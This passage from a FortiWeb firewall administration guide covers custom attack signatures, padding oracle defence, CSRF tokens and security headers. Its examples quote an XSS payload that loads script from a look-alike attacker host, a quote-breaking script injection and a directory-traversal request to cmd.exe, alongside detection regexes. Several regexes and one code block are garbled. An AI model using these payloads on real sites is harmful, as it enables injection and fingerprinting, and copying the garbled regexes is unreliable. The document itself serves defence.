The final logic of the example is (1 And 2) OR (3), which means FortiWeb skips the signature when both the URI and HTTP Method exception rules match the request, or the Client IP rule matches.

Filtering signatures

You can filter signatures using a keyword. Examples of keywords include:

- Disabled signatures
- Signatures that you changed from their default action to **Alert Only**
- SQL injection signatures for **False Positive Mitigation Support**, which provides additional SQL syntax validation, is disabled
- Signatures that correspond to a specific CVE identifier
- Signatures configured with one or more exceptions

To locate these kinds of signatures for review or editing, click **Filters** in the navigation tree, select the type of filter you want to apply, and then click **Apply**.

See also

- ["Blocking known attacks & data leaks"](#) on page 505
- ["Configuring action overrides or exceptions to data leak & attack detection signatures"](#) on page 519

Defining custom data leak & attack signatures

Custom signatures can be attack signatures and/or data leak signatures.

If the predefined regular expressions cause false positives or do not match what you need, you can configure your own. This gives you the flexibility to define your own special types of personally identifiable information, as well as zero-day attacks.

Signatures should be crafted carefully to avoid performance issues inherent in regular expressions that use recursion. For details, see ["Regular expression performance tips"](#) on page 747.

To configure a custom signature

1. Go to **Web Protection > Known Attacks > Custom Signature**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

2. From the **Custom Signature** tab, click **Create New**, then configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Direction	Select which direction FortiWeb applies the expression to: • Request—The custom signature is designed to detect attacks. • Response—The custom signature is designed to detect information disclosure.
Action	Select the action FortiWeb takes when it detects a violation of the rule: • Alert—Accept the request and generate an alert email and/or log message. Note: If Direction (page 525) is Data Leakage, does not cloak, except for removing sensitive headers. Sensitive information in the body remains unaltered. • Alert & Deny—Block the request (reset the connection) and generate an alert and/or log message. This option is applicable only if Direction (page 525) is Signature Creation. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Erase & Alert—Hide replies with sensitive information (sometimes called "cloaking"). Block the reply (or reset the connection) or remove the sensitive information, and generate an alert email and/or log message. This option is applicable only if Direction (page 525) is

Data Leakage.

If the sensitive information is a status code, you can customize the web page that will be returned to the client with the HTTP status code.

Note: This option is not fully supported in Offline Protection mode. Effects will be identical to **Alert**; sensitive information will not be blocked or erased.

- **Period Block**—Block subsequent requests from the client for a number of seconds. Also configure **Block Period** (page 526).

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "[Customizing error and authentication pages \(replacement messages\)](#)" on page 664.

Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you **must** also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block **all** connections when it detects a violation of this type. For details, see "[Defining your proxies, clients, & X-headers](#)" on page 421.

- **Erase, no Alert**—Hide replies with sensitive information (sometimes called "cloaking"). Block the reply (or reset the connection) or remove the sensitive information without generating an alert email and/or log message. This option is applicable only if **Direction** (page 525) is **Data Leakage**.

Note: This option is not fully supported in Offline Protection mode.

- **Send HTTP Response**—Block and reply to the client with an HTTP error message and generate an alert email and/or log message.

You can customize the attack block page and HTTP error code that FortiWeb returns to the client. For details, see "[Customizing error and authentication pages \(replacement messages\)](#)" on page 664.

Block Period

Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.

This setting is available only if **Action** is set to **Period Block**. The valid range is from 1 to 3,600 (1 hour). The default value is 1. For details, see "[Monitoring currently blocked IPs](#)" on page 735.

Severity

When rule violations are recorded in the attack log, each log message contains a **Severity Level** (`severity_level`) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:

- Low

	• Medium • High The default value is High.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see " Monitoring currently blocked IPs " on page 735.

3. Click **OK**.
4. Click **Create New** to create a custom signature condition rule.
5. Complete the following settings:

Match Operator	• Regular expression match—The signature matches when the value of a selected target in the request or response matches the Regular Expression value. • Greater than/Less than/Not equal/Equal—FortiWeb determines whether the signature matches by comparing the value of a selected target in the request or response to the Threshold value.
Case Sensitive	Select to differentiate between upper case and lower case letters in the Regular Expression (page 527) value. For example, when this option is enabled, an HTTP request involving <code>tomcat</code> would not match a sensitive information signature that specifies <code>Tomcat</code> (difference is lower case "t").
Regular Expression	Specifies the value to match in a selected target. If the Action (page 525) is Alert & Erase, enclose the portion of the regular expression to erase in brackets. For example, the regular expression value <code>(webattack)</code> detects and erases the string <code>webattack</code> from responses. To create and test a regular expression, click the >> (test) icon. For details, see "Regular expression syntax" on page 829.
Threshold	If Greater Than , Less Than , Equal , or Not Equal is selected as the Match Operator (page 527), this is the value that FortiWeb uses to evaluate a selected target.
Available Target/Selected Target	Use the arrows to add or remove locations in the HTTP request that FortiWeb scans for a signature match, then click the right arrow to move them into the Search In area. The argument's name and value are often included in the request body. In this case, you can't create a rule for the REQUEST_BODY target to detect the argument's name and value. Instead, you need to create rules for ARGS_NAME or/and ARGS_VALUE targets.

For example, if you want to block the parameter `count` if its value is `true` (`"count":true`), you can create the following two rules:

Rule #1:

- Regular expression: `count`
- Selected Target: `ARGS_NAMES`

Rule #2:

- Regular expression: `true`
- Selected Target: `ARGS_VALUE`

Whether a string should be treated as an argument or request body depending on the syntax of the content. For example, the above mentioned `"count":true` is only considered as argument in JSON and XML content types. For other content types, it is just a text string in the request body.

See the following examples for more details:

- [Example: ASP .Net version & other multiple server detail leaks](#)
- [Example: Zero-day XSS](#)
- [Example: Local file inclusion fingerprinting via Joomla](#)

6. Click **OK**.

7. Repeat this procedure for each rule that you want to add.

8. Click **OK** to save your custom signature.

9. Go to **Web Protection > Known Attacks > Custom Signature**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

10. From the **Custom Signature Group** tab, click **Create New** to create a new group of custom signatures. Alternatively, to add your custom signature to an existing set, click **Edit** to add it to that set.

11. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.

12. Click **OK**.

13. Click **Create New** to include individual rules in the set.

14. From the **Custom Signature** drop-down list, select a custom signature to add to the group.

To view or change information associated with the custom signature, select the **Detail** link. The **Edit Custom Signature** dialog appears. You can view and edit the rules. Use the browser **Back** button to return.

15. Click **OK**.

16. Repeat the previous steps for each individual rule that you want to add to the custom signature set.

17. Group the custom signature set in a signature rule. For details, see "[Blocking known attacks & data leaks](#)" on page 505.

When the custom signature set is enabled in a signature rule policy, you can add either the group or an individual custom signature rule in the group to an advanced protection custom rule. For details, see ["Combination access control & rate limiting"](#) on page 480.

See also

- ["Example: ASP .Net version & other multiple server detail leaks"](#) on page 529
- ["Example: Zero-day XSS"](#) on page 530
- ["Example: Local file inclusion fingerprinting via Joomla!"](#) on page 533
- ["Example: Sanitizing poisoned HTML"](#) on page 633
- ["Blocking known attacks & data leaks"](#) on page 505

Example: ASP .Net version & other multiple server detail leaks

Example.com is a cloud hosting provider. Because it must offer whatever services its customers' web applications require, its servers run a variety of platforms—even old, unpatched versions with known vulnerabilities that have not been configured securely. Unfortunately, these platforms advertise their presence in a variety of ways, identifying weaknesses to potential attackers.

HTTP headers are one way that web server platforms are easily fingerprinted. Example.com wants to remove unnecessary headers that provide server details to clients in order to make it harder for attackers to fingerprint their platforms and craft successful attacks. Specifically, it wants to erase these HTTP response headers:

```
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 3.0
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
```

To do this, Example.com writes a custom signature that erases content with 4 meet condition rules, one to match the contents of each header (but not the header's key), and includes the custom signature in the signature set used by the protection profile:

Direction (page 525)	Response
Action (page 525)	Alert & Erase
Severity (page 526)	Low
Trigger Action (page 527)	notification-servers1
Meet condition rule 1	
Match Operator (page 527)	Regular expression match
Regular Expression (page 527)	\bServer:(.*)\b
Selected Target	ARGS_NAMES
Meet condition rule 2	

Match Operator (page 527)	Regular expression match
Regular Expression (page 527)	\bX-AspNetMvc-Version:(.*)\b
Selected Target	ARGS_NAMES
Meet condition rule 3	
Match Operator (page 527)	Regular expression match
Regular Expression (page 527)	\bX-AspNet-Version:(.*)\b
Selected Target	ARGS_NAMES
Meet condition rule 4	
Match Operator (page 527)	Regular expression match
Regular Expression (page 527)	\bX-Powered-By:(.*)\b
Selected Target	ARGS_NAMES

The result is that the client receives HTTP responses with headers such as:

```
Server: XXXXXXXX
X-Powered-By: XXXXXXXX
X-AspNet-Version: XXXXXXXX
```



To improve performance, Example.com could use the attack logs generated by these signature matches to notify system administrators to disable version headers on their web servers. As each customer's web server is reconfigured properly, this would reduce memory and processor power required to rewrite its headers.

See also

- ["Defining custom data leak & attack signatures"](#) on page 525

Example: Zero-day XSS

Example.com is a cloud hosting provider. Large and with a huge surface area for attacks, it makes a tempting target and continuously sees attackers trying new forms of exploits.

Today, its incident response team discovered a previously unknown XSS attack. The attacker had breached the web applications' own input sanitization defenses and succeeded in embedding 3 new methods of browser attacks in many forum web pages. Example.com wants to write a signature that matches the new browser attacks, regardless of what method is used to inject them.



All of the example text colored **magenta** contributes to the success of the attacks, and should be matched when creating a signature.

The first new XSS attack found was:

```
<img
  src='/images/nonexistant-file'
  onerror= document.write(
    <scr I pt src= www.example.co/xss.js>);
/>
```

The above attack works by leveraging a client web browser's error handling against itself. Without actually naming JavaScript, the attack uses the JavaScript error handling event `onError()` to execute arbitrary code with the HTML `<img>` tag. The `<img>` tag's source is a non-existent image. This triggers the web browser to load an arbitrary script from the attacker's command-and-control server. To avoid detection, the attacker has even bought a DNS name that looks like one of example.com's legitimate servers: `www.example.co`.

The incident response team has also found two other classes of XSS that evades the forum's own XSS sanitizers (which only look for injection of `<script>` and `<object>` tags). The first one exploits a web browser's parser by tricking it with additional quotes in an unexpected place:

```
<img ""><script>alert("XSS")</script>">
```

The second one exploits the nature of all web pages with images and other external files. Other than the web page itself, all images, scripts, styles, media, and objects cause the web browser to make secondary HTTP requests: one for each component of the web page. Here, the `<img>` tag causes the client's web browser to make a request that is actually an injection attempt on another website.

```

```

The incident response team has written 3 regular expressions to detect each of the above XSS attack classes, as well as similar permutations that use HTML tags other than `<img>`:

- <(.*src(\\s)*=(\\s)*[\' \"](\\s)*(.*)(\\s)*[\' \"](\\s)*onError
- <(.*)[\' \"][\' \"]*(.*)>(\\s)*<script>
- <(\\s)*[^(<script)](\\s)*src(\\s)*=(\\s)*(http|https|ftp|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\) (.*)?>

To check for any of the 3 new attacks, the team creates a custom signature with 3 meet condition rules. (Alternatively, the team can create a single meet condition rule that joins the 3 regular expressions by using pipe (|) characters between them.)

Direction (page 525)	Request
Action (page 525)	Alert & Deny
Severity (page 526)	High
Trigger Action (page 527)	notification-servers1
Meet condition rule 1	
Match Operator (page 527)	Regular expression match
Regular Expression (page 527)	<(.*src\s)*=(\s)*["'](\s)*(.*)(\s)*["'](\s)*onError
Selected Target	REQUEST_BODY

Meet condition rule 2	
Match Operator (page 527)	Regular expression match
Regular Expression (page 527)	<(.*)['""]['"']*(<\s)*<script>
Selected Target	REQUEST_BODY
Meet condition rule 3	
Match Operator (page 527)	Regular expression match
Regular Expression (page 527)	<(\s)*[^(<script)](\s)*src(\s)*=(\s)*(http https ftp \\ \/ \?)(.*)\?
Selected Target	REQUEST_BODY

Attackers can try many techniques to evade detection by signatures.

When writing custom attack signatures for FortiWeb, or when sanitizing corrupted content via rewriting, consider that smart attackers:

- instead of explicitly injecting JavaScript statements such as `document.write()`; , inject CSS or object HTML that either implicitly uses JavaScript or achieves the same purpose (and therefore will **not** be caught by sanitizers rejecting JavaScript only syntax)
- use alternate encodings such as hexadecimal, Base64 or HTML entities instead of character in the encoding specified in the web page's `charset`
- follow or break up valid tags with ignored special characters, such as slashes, spaces, tabs, bells, or carriage returns
- use characters that are functionally equivalent, such as single quotes (`'`) or back ticks (```) instead of double quotes (`"`)

These may be functionally ignored or gracefully handled by a web browser or server's parser, but will allow the attack to slip by your signature if it is not carefully crafted

In the above example, the attacker uses the back tick (```) used instead of quotes, avoids the literal mention of `javascript:`, and does not match a regular expression that requires the exact, unvaried HTML tag `<script>`. Your regular expression should be flexible enough to account for these cases.

If content has already been corrupted by a successful attack, you can simultaneously sanitize all server responses and notify the response team of specific corrupted URLs. This can help your incident response team to quickly clean the impacted applications and databases. See ["Example: Sanitizing poisoned HTML"](#) on page 633.



See also

- ["Defining custom data leak & attack signatures" on page 525](#)
- ["Example: Sanitizing poisoned HTML" on page 633](#)

Example: Local file inclusion fingerprinting via Joomla

Attackers sometimes scout for vulnerabilities in a target before actually executing an attack on it or other, more challenging targets. To look for advance notice of specific attacks that your web servers may soon experience, you might create a honeypot: this server would run the same platform as your production web servers, but contain no valuable data, normally receive no legitimate traffic, and be open to attacks in order to gather data on automated attacks for your forensic analysis.

Let's say your honeypot, like your production web servers, runs Joomla. In either your web server's logs, you see requests for URLs such as:

```
10.0.0.10
-
-
[16/Dec/2011:09:30:49 +0500]
"GET /index.php?option=com_
ckforms&controller=./../../../../../../../../../winnt/system32/cmd.exe?/c+ver HTTP/1.1"
200
"-
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0a2) Gecko/20111101 Firefox/9.0a2)"
```

where the long string of repeated `./` characters indicates an attempt at directory traversal: to go above the web server's usual content directories.

If Joomla does not properly sanitize the input for the `controller` parameter (highlighted in bold above), it would be able to use LFI. The attacker's goal is to reach the `cmd.exe` file, the Microsoft Windows command line, and enter the command `ver`, which displays the web server's specific OS version, such as:

```
Microsoft Windows [Version 6.1.7601]
```

Since the attacker successfully fingerprinted the specific version of Windows and Joomla, **all** virtual hosts on that computer would be vulnerable also to any other attacks known to be successful on that platform.

Luckily, this is happening on your honeypot, and not your company's web servers.

To detect similar attacks, you could write your own attack signature to match and block that **and** similar directory-traversing requests via `controller`, as well as to notify you when your production web servers are being targeted by this type of attack:

Direction (page 525)	Request
Action (page 525)	Alert & Deny
Severity (page 526)	High
Trigger Action (page 527)	notification-servers1
Meet condition rule	

Match Operator (page 527)	Regular expression match
Regular Expression (page 527)	<code>^/index\.php\?option=com_ckforms\&controller=(\.\.\/)+?</code>
Selected Target	REQUEST_URI

If packet payload retention and logging were enabled, once this custom signature was applied, you could analyze requests to locate targeted files. Armed with this knowledge, you could then apply defenses such as tripwires, strict file permissions, uninstalling unnecessary programs, and sandboxing in order to minimize the likelihood that this attacker would be able to succeed and achieve her objectives.

Defeating cipher padding attacks on individually encrypted inputs

The Lucky 13 attack exploits flaws in SSL/TLS implementations of CBC encryption. Classified as a “padding oracle” attack, Lucky 13 analyzes errors returned by the server (its “oracle”) after submitting incorrect “padding”—empty bytes that are added to plain text to make its length uniform before encryption is applied. Padding is required by all block ciphers. Once the attacker guesses the correct padding, the resulting encrypted messages have a similar pattern. Attackers can analyze many packets to find the pattern, and thereby decrypt the data for a Man in the Middle (MITM) attack.

This attack involves some brute force: the attacker must guess repeatedly until the server does not return an error, indicating that the correct padding has been discovered. As such, padding attacks may not have been feasible 10 years ago. However as broadband connections and powerful computers become pervasive, this kind of attack has become practical.

Not all web applications use HTTPS, however. Cryptography generally decreases performance. To improve performance while attempting to protect sensitive data, some web applications selectively encrypt **above** the application level. They encrypt **only** specific inputs and outputs, such as:

- session IDs
- cookies
- user profile URLs
- passwords

But if the custom functions to encrypt these inputs use the same principle as CBC, or are not well tested or promptly updated for security, they too are vulnerable to padding attacks.

For example, if only a user ID is encrypted, an attacker may want to decrypt it so that he or she can follow with a session hijacking attack. The attacker’s initial request might look like this:

```
GET /profile.jsp?UID=00000000000000001F851D6CC68FC9537...
```

The UID is a guess. Unless he or she is extremely lucky, the attacker did not use the correct key nor padding (e.g. 0x01). Therefore the application would reply with an error response such as:

```
500 Internal Server Error
```

But if the attacker increases or decreases the padding byte (e.g. 0x02), sends the request again, and repeats this process, the attacker would eventually guess the correct padding, resulting in a message from the server that indicates a correct padding byte:

```
200 OK
```

Repeating the above process with previous padding bytes would eventually yield the full, correct padding, and therefore also the length of the plain text. With that, the attacker would eventually be able to decrypt the entire UID. The attacker could then attempt to hijack the login.

To protect against padding oracle attacks

1. Consult with your application developer to find inputs that are individually encrypted.



Do **not** configure padding oracle attack prevention unless the URL, cookie or parameter is encrypted. **Only** encrypted inputs or URLs, especially those encrypted using CBC, ECB, or OAEP, are vulnerable. Unnecessary protection will decrease FortiWeb performance.

2. Go to **Web Protection > Advanced Protection > Padding Oracle Protection**.

3. Click **Create New**, then configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert—Accept the request and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period (page 536). You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. For details, see "Defining your proxies, clients, & X-headers" on page 421. The default value is Alert. Attack log messages contain <code>Padding Oracle Attack</code> when this feature detects a possible attack. Because this attack involves some repeated brute force, the attack log may not appear immediately, but should occur within 2 minutes, depending on your configured DoS alert interval.

Caution: This setting will be ignored if **Monitor Mode** (page 288) is enabled.

Note: Logging and/or alert email will occur only if enabled and configured. For details, see "[Logging](#)" on page 690 and "[Alert email](#)" on page 712.

Note: If you will use this rule set with auto-learning, you should select **Alert**. If **Action** (page 535) is **Alert & Deny**, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action (page 535) is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also Monitoring currently blocked IPs (page 735).
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is Medium.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see "Monitoring currently blocked IPs" on page 735.

4. Click **OK**.
5. **Create New**.
6. Configure these settings:

Host Status	Enable to apply this rule only to HTTP requests for specific web hosts. Also configure Host (page 536). Disable to match the rule based upon the other criteria, such as the URL, but regardless of the <code>Host :</code> field.
Host	Select which protected host names entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request must be in to match the rule. This option is available only if Host Status (page 536) is enabled.

Type	Select whether the Protected URL (page 537) field must contain a literal URL (Simple String), or a regular expression designed to match multiple URLs (Regular Expression).
Protected URL	Depending on your selection in Type (page 537), type either: • The literal URL, such as <code>/profile.jsp</code>, that the HTTP request must contain in order to match the rule. The URL must begin with a backslash (<code>/</code>). • A regular expression, such as <code>^/*\.jsp\?uid\=(.*)</code>, matching all and only the URLs to which the rule should apply. The pattern does not require a slash (<code>/</code>); however, it must at least match URLs that begin with a slash, such as <code>/profile.cfm</code>. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the Host drop-down list. To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see "Regular expression syntax" on page 829 and "Cookbook regular expressions" on page 836.
Protected Target	Indicate which parts of the client's requests should be examined for padding attack attempts: • URL (e.g. parameters are embedded in the URL, such as <code>/user/0000012FE03BC2</code>) • Parameter (e.g. parameters are appended in a traditional GET URL parameter, such as <code>/index.php?user=0000012FE03BC2</code> or POST body) • Cookie

7. Click **OK**.
8. Repeat the previous 2 steps for each encrypted input in the web application.
9. Click **OK**.
10. To apply the rule, select it in an inline protection profile or an Offline Protection profile. For details, see "[Configuring a protection profile for inline topologies](#)" on page 261 or "[Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)" on page 270.



Malicious clients often send many HTTP requests while attempting to analyze the padding. This could flood your attack logs with repetitive messages. To adjust the interval at which FortiWeb will record identical log messages during an ongoing attack, see `max-dos-alert-interval <seconds_int>` in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

See also "[Log rate limits](#)" on page 692.

Defeating cross-site request forgery (CSRF) attacks

A cross-site request forgery (CSRF) is an attack that exploits the trust that a site has in a user's browser to transmit unauthorized commands.

The CSRF protection feature is not supported when the operation mode is Offline Protection or Transparent Inspection.

Configuration overview

To protect back-end servers from CSRF attacks, you create two lists of items: a list of web pages to protect against CSRF attacks, and a corresponding list of the URLs found in the requests that the pages generate.

- When FortiWeb receives a request for a web page in the list, it embeds a javascript in the web page. The script runs in the client's web browser and automatically appends the parameter `tknfv` (the anti-CSRF token) to any HTML link elements that have the `href` attribute (`<a href>`) and HTML form elements. Subsequent requests that these HTML elements generate contain the `tknfv` parameter. The parameter has the value of the cookie issued by FortiWeb Session Management.
- The URL list contains all the URLs that you expect to contain the `tknfv` parameter, based on the web pages that you specified. When these URLs appear in requests without the `tknfv` parameter, or the parameter does not match the cookie value for the session, FortiWeb takes the action you specify in the CSRF protection rule.

Create your configuration carefully, making sure that all the URLs in the list have corresponding entries in the page list, and that Session Management is enabled in the protection profile that uses the rule. When FortiWeb checks requests for the token but has not added the script to the corresponding web page, it blocks or takes other action against the request.

Examples of requests with the anti-CSRF parameter

For example, a web page in the list of pages contains the following `<a href>` element:

```
<a href=/csrf_test1.php>test</a>
```

This link generates the following request, which includes the parameter that the javascript has added:

```
http://example.com/csrf_test1.php?tknfv=3DF5BDCCIG3DCXNTE3RUNCTKRS3E36AD
```

Therefore, to make the feature work for this web page, you add `/csrf_test1.php` to the list of URLs.

For an example using an HTML form element, the web page `csrf_login.html` contains the following form:

```
<form name="do_some_action" id="form1" action="csrf_test2.php" method="GET">
  <input type="text" name="username" value=""/>
  <input type="text" name="password" value=""/>
  <input type="submit" value="do Action"/>
</form>
```

This form generates the following request when the page is added to the list of pages protected by a CSRF protection policy:

```
http://target-site.com/csrf_test2.php?username=test&password=123&tknfv=3DF5BDCCIG3DCXNTE3RUNCTKRS3E36AD
```

In this case, you add `csrf_login.html` to the list of pages and `/csrf_check2.php` to the list of URLs.

Parameter filters

In some cases, a request for a web page and the requests generated by its links have the same URL. FortiWeb cannot distinguish between requests to add javascript to and requests to check for the anti-CSRF parameter.

To avoid this issue, you create unique Page List Table and URL List Table items by adding a parameter filter to them. The parameter filter allows you to add additional criteria to match in the URL or HTTP body of a request.

For example, in the following form element, the parameters are in the body of the HTTP request, not the URL:

```
<form action="post.asp" enctype="MULTIPART/FORM-DATA" method="POST">
  <input TYPE="FILE" NAME="FILE1">
  <input TYPE="TEXT" NAME="TEXT1" VALUE="HELLO">
  <input TYPE="SUBMIT" NAME="SUB1" VALUE="Upload File">
</form>
```

To allow FortiWeb to correctly recognize the POST request as one that should contain the anti-CSRF token, add a filter that checks for a parameter in the HTTP body to the corresponding URL List Table item. If the request for `post.asp` does not contain the parameter specified in the URL List Table item, FortiWeb can instead match it with a `post.asp` item in the Page List Table, and adds the javascript to it.

You can also match a parameter in the URL. For example, the request to match has the following URL:

```
/www.test.com?username=test&password=123
```

Request Type—Simple String

Full URL—/www.test.com

Parameter Filter—Selected

Parameter Name—username

Parameter Value Type—Regular Expression

Parameter Value—*

The parameter value * (asterix) matches any value.

Troubleshooting

If the feature is not working properly, ensure the following:

- The type of the web page to protect is HTML and contains the `<html>` and `</html>` tags.
- The HTTP response code for the page is 200 OK.
- If the page is compressed, a corresponding uncompress policy is configured. For details, see ["Configuring temporary decompression for scanning & rewriting"](#) on page 647.
- The **Maximum Body Cache Size** (page 672) value is larger than the size of the web page. For details, see ["Advanced settings"](#) on page 670.

To protect against CSRF attacks

1. Go to **Web Protection > Advanced Protection > CSRF Protection**.
2. Click **Create New**.
3. Configure these settings:

Name	Enter a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters.
Action	Select which action FortiWeb takes when it detects a missing or incorrect anti-CSRF parameter: • Alert—Accept the request and generate an alert email, log message, or both. • Alert & Deny—Block the request (reset the connection) and generate an alert, a log message, or both. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period (page 540). You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. The default value is Alert. Note: Logging and alert email occur only if the corresponding settings are enabled and configured. For details, see "Logging" on page 690 and "Alert email" on page 712.
Block Period	Enter the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects a CSRF attack. This setting is available only if Action (page 540) is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 60. See also "Monitoring currently blocked IPs" on page 735.
Severity	When FortiWeb records violations of this rule in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level FortiWeb uses when it logs a CSRF attack: • Low • Medium • High The default value is Low.
Trigger Action	Select the trigger, if any, that FortiWeb uses when it logs or sends an alert email about a CSRF attack. For details, see "Viewing log messages" on page 706.

4. Click **OK**.
5. Under Page List Table, click **Create New**.
6. Configure these settings:

Host Status	Enable to apply this rule only to HTTP requests for specific web hosts. Also configure Host (page 541). Disable to match the rule based on the URL and any parameter filter only.
Host	Select a protected host names entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request matches. This option is available only if Host Status (page 541) is enabled.
Request Type	Select whether Full URL (page 541) contains a literal URL (Simple String), or a regular expression designed to match multiple URLs (Regular Expression). When you select Regular Expression, you do not have to enter the complete URL for Full URL. For example, there are two ways you can configure the item to match the URL <code>/www.test.com?</code>: - For Request Type, select Simple String, and for Full URL, enter <code>/www.test.com</code>. - For Request Type, select Regular Expression, and for Full URL, enter <code>test\.com</code>.
Full URL	Enter either a literal URL or regular expression.
Parameter Filter	Select to specify a parameter name and value to match. The parameter can be located in either the URL or the HTTP body of a request. For details, see "Parameter filters" on page 539.
Parameter Name	Enter the parameter name to match.
Parameter Value Type	Select whether Parameter Value (page 541) contains a literal URL (Simple String), or a regular expression designed to match multiple values (Regular Expression).
Parameter Value	Enter either a literal URL or regular expression. To match any parameter value, for Parameter Value Type (page 541), select Regular Expression, and enter <code>*</code> (asterisk).

7. Click **OK**.
8. Add any additional web pages that you want to protect.
9. Under URL List Table, click **Create New**, and then configure the settings. The settings for adding a URL list item are the same as the ones that you use to add a page list item.
10. Click **OK**.
11. To apply the rule, in an inline protection profile, ensure **Session Management** is selected, and then select the CSRF protection rule. For details, see "[Configuring a protection profile for inline topologies](#)" on page 261.

Addressing security vulnerabilities by HTTP Security Headers

HTTP response security headers are a set of standard HTTP response headers proposed to prevent or mitigate known XSS, clickjacking, and MIME sniffing security vulnerabilities. These response headers define security policies to client browsers so that the browsers avoid exposure to known vulnerabilities when handling requests.

When FortiWeb's HTTP Security Headers feature is enabled, headers with specified values are inserted into HTTP responses coming from the backend web servers. This is a quick and simple solution to address the security vulnerabilities on your website without code and configuration changes. The following includes three different security headers that FortiWeb can insert into responses:

FortiWeb security headers

X-Frame-Options	This header prevents browsers from Clickjacking attacks by providing appropriate restrictions on displaying pages in frames. The X-Frame-Options header can be implemented with one of the following options: • DENY: The browser will not allow any frame to be displayed. • SAMEORIGIN: The browser will not allow a frame to be displayed unless the page of the frame originated from the same site. • ALLOW-FROM: The browser will not allow a frame to be displayed unless the page of the frame originated from the specified domain.
X-Content-Type-Options	This header prevents browsers from MIME content-sniffing attacks by disabling the browser's MIME sniffing function. The X-Content-Type-Options header can be implemented with one option: • nosniff: The browser will not guess any content type that is not explicitly specified when downloading extensions.
X-XSS-Protection	This header enables a browser's built-in Cross-site scripting (XSS) protection. The X-XSS-Protection header can be implemented with one of the following options: • Sanitizing Mode: The browser will sanitize the malicious scripts when a XSS attack is detected. • Block Mode: The browser will block the page when a XSS attack is detected.

To configure an HTTP header security policy

1. Go to **Web Protection > Advanced Protection > HTTP Header Security** and select an existing policy or create a new one. If creating a new policy, the maximum length of the name is 63 characters; special characters are prohibited.

2. If you created a new policy, click **OK** to save it. If editing an existing policy, select it and click **Edit**.
3. Select an existing rule to edit or create a new one in **Secure Header** Table.
4. Configure these settings:

URL Filter	Click to enable or disable URL filter: • Enable: Responses to the request will be processed with the security headers only if the URL of a request matches the specified Request URL (page 543). • Disable: All responses will be processed with the selected security header (s).
Request URL Type	Select Simple String to match the URL of requests with a literal URL specified in Request URL (page 543). Select Regular Expression to match the URL of requests with a regular expression specified in Request URL (page 543). Note: this is available only when URL Filter (page 543) is enabled.
Request URL	Specify the URL used to match requests so that security headers can be applied to responses of the matched requests. if Simple String is selected in Request URL Type (page 543), enter a literal URL. If Regular Expression is selected, enter a regular expression. After filling in the field with a regular expression, it is possible to fine-tune the expression in a Regular Expression Validator by clicking the >> button on the side. For details, see "Regular expression syntax" on page 829. Note: this is available only when URL Filter is enabled.
Secure Header Type	Select the security header to be inserted into the responses. • X-Frame-Options • X-Content-Type-Options • X-XSS-Protection For details, see "FortiWeb security headers" on page 542.
Header Value	Select the value for the selected security header. If X-Frame-Options is selected, the options will be: • DENY • SAMEORIGIN • ALLOW-FROM If X-Content-Type-Options is selected, the option will be: • nosniff

If X-XSS-Protection is selected, the options will be:

- Sanitizing Mode
- Block Mode

For details, see "[FortiWeb security headers](#)" on page 542.

Allowed From URL

It will require you to specify a URI (Uniform Resource Identifier) if header **X-Frame-Options** and the option **ALLOW-FROM** are selected.


For details, see "[FortiWeb security headers](#)" on page 542.

5. Click **OK** to save the configuration.
